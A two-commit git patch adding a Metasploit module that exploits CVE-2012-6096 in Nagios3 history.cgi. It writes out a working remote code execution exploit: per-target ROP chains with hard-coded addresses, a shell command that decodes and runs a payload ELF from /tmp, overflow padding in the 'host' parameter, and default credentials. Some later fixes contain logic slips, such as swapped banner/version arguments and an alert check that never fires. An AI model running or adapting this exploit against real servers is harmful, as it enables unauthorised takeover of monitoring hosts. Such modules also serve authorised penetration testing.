From 18f81fd6f47e9b03932e85846e614f62db61905f Mon Sep 17 00:00:00 2001 From: Jose Selvi Date: Tue, 15 Jan 2013 15:32:32 +0100 Subject: [PATCH 1/2] Nagios3 history.cgi exploit --- .../unix/webapp/nagios3_history_cgi.rb | 211 ++++++++++++++++++ 1 file changed, 211 insertions(+) create mode 100644 modules/exploits/unix/webapp/nagios3_history_cgi.rb diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb new file mode 100644 index 0000000000..c8c0cfb39f --- /dev/null +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -0,0 +1,211 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nagios3 history.cgi Host Command Execution', + 'Description' => %q{ + This module abuses a command injection vulnerability in the + Nagios3 history.cgi script. + }, + 'Author' => [ + 'Anonymous ', # Original finding + 'blasty ', # First working exploit + 'Jose Selvi ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6096' ], + [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ], + [ 'URL', 'http://pastebin.com/FJUNyTaj' ], + ], + 'Platform' => ['unix', 'linux'], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 200, # Due to a system() parameter length limitation + 'BadChars' => '', # It'll be base64 encoded + }, + 'Targets' => + [ + [ 'Automatic Target', { 'auto' => true }], + # NOTE: All addresses are from the history.cgi binary + [ 'CentOS (nagios-3.4.3-1.el6.i686.rpm)', + { + 'BannerRE' => 'CentOS', + 'VersionRE' => '3.4.3', + 'Arch' => ARCH_X86, + 'Offset' => 0xc43, + 'RopStack' => + [ + 0x0804c260, # unescape_cgi_input() + 0x08048f04, # pop, ret + 0x08079b60, # buffer addr + 0x08048bb0, # system() + 0x08048e70, # exit() + 0x08079b60 # buffer addr + ] + } + ], + [ 'Debian (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested. + { + 'BannerRE' => 'Debian', + 'VersionRE' => '3.3.0', + 'Arch' => ARCH_X86, + 'Offset' => 0xc37, + 'RopStack' => + [ + 0x0804b620, # unescape_cgi_input() + 0x08048fe4, # pop, ret + 0x080727a0, # buffer addr + 0x08048c7c, # system() + 0xdeafbabe, # if should be exit() but it's not + 0x080727a0 # buffer addr + ] + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 09 2012')) + + register_options( + [ + OptString.new('URI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), + OptString.new('USER', [false, "The username to authenticate with", "guest"]), + OptString.new('PASS', [false, "The password to authenticate with", "guest"]), + ], self.class) + end + + def detect_version(uri) + # Send request + res = send_request_raw({ + 'uri' => uri, + 'method' => 'GET', + }, 90) + + # Detection unknown if error + if res.nil? + print_error("Unable to get a response from the server") + return nil, nil + end + + # Extract banner from response + banner = res.headers['Server'] + + # Version undetected by now - String = "Nagios® Core™ 3.4.1 -" + version = nil + + return version, banner + end + + def exploit + uri = normalize_uri(datastore['URI']) + + # Automatic Targeting + mytarget = nil + if (target['auto']) + print_status("Automatically detecting the target...") + + # Get version information + version, banner = detect_version(uri) + if not banner.nil? + print_status("Web Server banner: #{banner}") + end + if not version.nil? + print_status("Nagios version detected: #{version}") + end + + # No banner, no target + if banner.nil? + fail_with(Exploit::Failure::NoTarget, "No matching target") + end + + # Try regex for each target + self.targets.each do |t| + if t['BannerRE'].nil? # It doesn't exist in Auto Target + next + end + regexp = Regexp.escape(t['BannerRE']) + if ( banner =~ /#{regexp}/ ) then + mytarget = t + break + end + end + + if mytarget.nil? + fail_with(Exploit::Failure::NoTarget, "No matching target") + end + else + mytarget = target + end + + print_status("Selected Target: #{mytarget.name}") + print_status("Sending request to http://#{rhost}:#{rport}#{uri}") + + # Generate a payload ELF to execute + elfbin = generate_payload_exe + elfb64 = Rex::Text.encode_base64(elfbin) + + # Generate random filename + tempfile = '/tmp/' + rand_text_alphanumeric(10) + + # Generate command-line execution + cmd = 'echo ' + elfb64 + '|base64 -d|tee ' + tempfile + ';chmod 700 ' + tempfile + ';rm -rf ' + tempfile + '|' + tempfile + ';' + host_value = cmd.gsub!(' ', '${IFS}') + + # Generate 'host' parameter value + padding_size = mytarget['Offset'] - host_value.length + host_value << rand_text_alphanumeric( padding_size ) + + # Generate ROP + host_value << mytarget['RopStack'].pack('V*') + + # Send exploit + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, + 'vars_get' => + { + 'host' => host_value + } + }, 10) + + if(not res) + if session_created? + print_status("Session created, enjoy!") + else + print_error("No response from the server") + end + return + end + + if(res.code == 401) + print_error("Please specify correct values for USER and PASS") + return + end + + if(res.code == 404) + print_error("Please specify the correct path to history.cgi in the URI parameter") + return + end + + print_status("Unknown response") + end + +end From 064ea63a72b9fa0ade441ff77a29b1226826a879 Mon Sep 17 00:00:00 2001 From: Jose Selvi Date: Wed, 16 Jan 2013 05:22:43 +0100 Subject: [PATCH 2/2] Fixes --- .../unix/webapp/nagios3_history_cgi.rb | 147 +++++++++++------- 1 file changed, 95 insertions(+), 52 deletions(-) diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index c8c0cfb39f..a1e61e57c6 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -30,11 +30,14 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2012-6096' ], + [ 'OSVDB', '88322' ], + [ 'BID', '56879' ], + [ 'EDB', '24084' ], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ], [ 'URL', 'http://pastebin.com/FJUNyTaj' ], ], 'Platform' => ['unix', 'linux'], - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Arch' => [ ARCH_X86 ], 'Privileged' => false, 'Payload' => { @@ -45,10 +48,10 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic Target', { 'auto' => true }], # NOTE: All addresses are from the history.cgi binary - [ 'CentOS (nagios-3.4.3-1.el6.i686.rpm)', + [ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)', { - 'BannerRE' => 'CentOS', - 'VersionRE' => '3.4.3', + 'BannerRE' => 'Apache/2.2.15 (CentOS)', + 'VersionRE' => '3.4.1', 'Arch' => ARCH_X86, 'Offset' => 0xc43, 'RopStack' => @@ -62,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote ] } ], - [ 'Debian (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested. + [ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested. { 'BannerRE' => 'Debian', 'VersionRE' => '3.3.0', @@ -70,12 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Offset' => 0xc37, 'RopStack' => [ - 0x0804b620, # unescape_cgi_input() - 0x08048fe4, # pop, ret - 0x080727a0, # buffer addr - 0x08048c7c, # system() - 0xdeafbabe, # if should be exit() but it's not - 0x080727a0 # buffer addr + 0x0804b620, # unescape_cgi_input() + 0x08048fe4, # pop, ret + 0x080727a0, # buffer addr + 0x08048c7c, # system() + 0xdeafbabe, # if should be exit() but it's not + 0x080727a0 # buffer addr ] } ], @@ -85,20 +88,29 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('URI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), - OptString.new('USER', [false, "The username to authenticate with", "guest"]), - OptString.new('PASS', [false, "The password to authenticate with", "guest"]), + OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), + OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]), + OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]), ], self.class) end def detect_version(uri) # Send request - res = send_request_raw({ - 'uri' => uri, - 'method' => 'GET', - }, 90) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, + }, 10) - # Detection unknown if error + # Error handling + if(res.code == 401) + print_error("Please specify correct values for USER and PASS") + return nil, nil + end + if(res.code == 404) + print_error("Please specify the correct path to history.cgi in the URI parameter") + return nil, nil + end if res.nil? print_error("Unable to get a response from the server") return nil, nil @@ -107,46 +119,74 @@ class Metasploit3 < Msf::Exploit::Remote # Extract banner from response banner = res.headers['Server'] - # Version undetected by now - String = "Nagios® Core™ 3.4.1 -" + # Extract version from body version = nil + version_line = res.body.match(/Nagios® Core™ [0-9.]+ -/) + if not version_line.nil? + version = version_line[0].match(/[0-9.]+/)[0] + end - return version, banner + # Check in an alert exists + alert = res.body.match(/ALERT/) + + return version, banner, alert + end + + def select_target(version, banner) + # Get version information + if not banner.nil? + print_status("Web Server banner: #{banner}") + end + if not version.nil? + print_status("Nagios version detected: #{version}") + end + + # No banner and version, no target + if banner.nil? or version.nil? + return nil + end + + # Try regex for each target + self.targets.each do |t| + if t['BannerRE'].nil? or t['VersionRE'].nil? # It doesn't exist in Auto Target + next + end + regexp1 = Regexp.escape(t['BannerRE']) + regexp2 = Regexp.escape(t['VersionRE']) + if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then + return t + end + end + # If not detected, return nil + return nil + end + + def check + print_status("Checking banner and version...") + # Detect version + banner, version, alert = detect_version(target_uri.path) + # Select target + mytarget = select_target(banner, version) + + if mytarget.nil? + print_error("No matching target") + return CheckCode::Unknown + end + if alert.nil? + print_error("At least one ALERT is needed in order to exploit") + return CheckCode::Safe + end + + return CheckCode::Vulnerable end def exploit - uri = normalize_uri(datastore['URI']) - # Automatic Targeting mytarget = nil if (target['auto']) print_status("Automatically detecting the target...") - - # Get version information - version, banner = detect_version(uri) - if not banner.nil? - print_status("Web Server banner: #{banner}") - end - if not version.nil? - print_status("Nagios version detected: #{version}") - end - - # No banner, no target - if banner.nil? - fail_with(Exploit::Failure::NoTarget, "No matching target") - end - - # Try regex for each target - self.targets.each do |t| - if t['BannerRE'].nil? # It doesn't exist in Auto Target - next - end - regexp = Regexp.escape(t['BannerRE']) - if ( banner =~ /#{regexp}/ ) then - mytarget = t - break - end - end - + banner, version, alert = detect_version(target_uri.path) + mytarget = select_target(banner, version) if mytarget.nil? fail_with(Exploit::Failure::NoTarget, "No matching target") end @@ -155,7 +195,10 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("Selected Target: #{mytarget.name}") - print_status("Sending request to http://#{rhost}:#{rport}#{uri}") + if alert and alert.nil? + fail_with(Exploit::Failure::NoTarget, "At least one ALERT is needed in order to exploit") + end + print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}") # Generate a payload ELF to execute elfbin = generate_payload_exe @@ -178,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote # Send exploit res = send_request_cgi({ 'method' => 'GET', - 'uri' => uri, + 'uri' => target_uri.path, 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, 'vars_get' => {